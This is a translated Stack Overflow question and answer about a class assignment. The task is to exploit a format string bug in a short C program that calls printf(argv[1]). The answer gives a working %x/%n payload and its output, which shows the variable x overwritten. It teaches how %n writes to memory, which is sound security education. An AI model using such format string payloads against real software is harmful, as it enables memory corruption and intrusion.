利用 C 中的 Printf 漏洞

5
作为任务的一部分,我需要利用下面分享的C代码中的printf()漏洞。当我使用一个字符串运行代码时(例如:./format "foo"),我应该用其他东西替换“X equals to 1”中的“1”。我相信我需要改变X变量的值,但如果您有不同的想法,请不要犹豫与我分享。以下是代码:
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char **argv)
{
    int *p;
    int x = 1;
    p=&x;
    printf("x=%d, sizeof(x): %zu, %x = %p, sizeof((p):%zu,&p = %p, \n", x, sizeof(x), &x, sizeof(p),&p);
    printf(argv[1]);
    printf("\nX equals: %d \n", x);
    return 0;
}

我不明白你想利用什么。printf函数调用缺少参数,而且某些参数的类型与格式说明符不匹配。为什么会有人发布这样的代码让你来利用? - Weather Vane
1
当我在终端上传递一个字符串(例如./format "foo"),我通常只能对printf(argv[1])行的输出进行更改。但是,由于printf(argv[1])不是一种安全的打印方式,因此可以通过使用诸如"%n...""%s%s%s...."之类的字符串来利用它(例如,您可以使用这些字符串读取内存等)。我需要做的是更改X变量,但我找不到正确的字符串来更改变量。 - Orhan Gazi Yalçın
由于您在printf(argv [1]);之前没有检查argc,因此您已经拥有了一个漏洞。 - Weather Vane
我认为这个想法是利用printf如果在堆栈上传递参数的事实,第一次调用的参数(包括p,即x的地址)仍将在该内存空间中。然后,您可以从argv [1]传递另一个格式字符串,以重用这些参数。这是完全未定义的行为,并且极度依赖于实现,但在课程使用的编译器上可能有效。 - Bo Persson
1
我发现存在漏洞,因为在这行代码中格式字符串与实际参数不匹配:printf("x=%d, sizeof(x): %zu, %x = %p, sizeof((p):%zu,&p = %p, \n", x, sizeof(x), &x, sizeof(p),&p); 并且使用 %n 插入代码是可行的,正是由于这种不匹配。我正在尝试找出如何在不出现“段错误11”的情况下使用 %n。@mfro - Orhan Gazi Yalçın
显示剩余2条评论
1个回答

8
您可以找到一份相当不错的关于打印机漏洞的信息 (格式字符串攻击),该漏洞在未正确使用验证时出现。
我对此进行了一些测试,当以如下方式运行程序时:
./format "Bob %x %x %x %x %x %x %x %x%n" 

会导致以下打印输出:
x=1, sizeof(x): 4, &x = 0x7fffa9c36e14, sizeof((p):8,&p = 0x7fffa9c36e18,
Bob 81688000 81464ab0 3 81688048 3 a9c36f08 400410 a9c36f00
X equals: 59

如果您将%n替换为%x,您将能够看到变量x的地址。因为%x从进程内存中读取,%n向进程内存中写入,所以我能够更改x内部的数据(59是在打印时到%n的字符数)。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接